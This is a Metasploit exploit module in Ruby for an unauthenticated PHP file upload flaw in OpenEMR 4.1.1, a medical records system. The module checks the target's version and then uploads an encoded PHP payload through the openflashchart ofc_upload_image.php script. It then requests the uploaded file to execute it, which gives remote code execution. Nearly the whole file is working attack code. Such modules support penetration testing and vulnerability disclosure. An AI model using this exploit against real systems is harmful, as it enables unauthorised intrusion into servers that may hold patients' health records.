OpenEMR PHP File Upload Vulnerability



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::FileDropper

    def initialize(info={})
        super(update_info(info,
            'Name'           => "OpenEMR PHP File Upload Vulnerability",
            'Description'    => %q{
                    This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the
                ofc_upload_image.php file from the openflashchart library, a malicious user can
                upload a file to the tmp-upload-images directory without any authentication, which
                results in arbitrary code execution. The module has been tested successfully on
                OpenEMR 4.1.1 over Ubuntu 10.04.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Gjoko Krstic <gjoko[at]zeroscience.mk>', # Discovery, PoC
                    'juan vazquez' # Metasploit module
                ],
            'References'     =>
                [
                    [ 'OSVDB', '90222' ],
                    [ 'BID', '37314' ],
                    [ 'EBD', '24492' ],
                    [ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ],
                    [ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ]
                ],
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        =>
                [
                    ['OpenEMR 4.1.1', {}]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Feb 13 2013",
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr'])
                ], self.class)
    end

    def check
        uri = target_uri.path
        peer = "#{rhost}:#{rport}"

        # Check version
        print_status("#{peer} - Trying to detect installed version")

        res = send_request_cgi({
            'method' => 'GET',
            'uri'    => normalize_uri(uri, "interface", "login", "login.php")
        })

        if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/
            version = $1
        else
            return Exploit::CheckCode::Unknown
        end

        print_status("#{peer} - Version #{version} detected")

        if version > "4.1.1"
            return Exploit::CheckCode::Safe
        end

        # Check for vulnerable component
        print_status("#{peer} - Trying to detect the vulnerable component")

        res = send_request_cgi({
            'method' => 'GET',
            'uri'    => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"),
        })

        if res and res.code == 200 and res.body =~ /Saving your image to/
            return Exploit::CheckCode::Detected
        end

        return Exploit::CheckCode::Safe
    end

    def exploit
        uri = target_uri.path

        peer = "#{rhost}:#{rport}"
        payload_name = rand_text_alpha(rand(10) + 5) + '.php'
        my_payload = payload.encoded

        print_status("#{peer} - Sending PHP payload (#{payload_name})")
        res = send_request_raw({
            'method'  => 'POST',
            'uri'     => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}",
            'headers' => { "Content-Length" => my_payload.length.to_s },
            'data'    => my_payload
        })

        # If the server returns 200 and the body contains our payload name,
        # we assume we uploaded the malicious file successfully
        if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/
            fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!")
        end

        register_file_for_cleanup(payload_name)

        print_status("#{peer} - Executing PHP payload (#{payload_name})")
        # Execute our payload
        res = send_request_cgi({
            'method' => 'GET',
            'uri'    => normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name),
        })

        # If we don't get a 200 when we request our malicious payload, we suspect
        # we don't have a shell, either.  Print the status code for debugging purposes.
        if res and res.code != 200
            print_error("#{peer} - Server returned #{res.code.to_s}")
        end
    end

end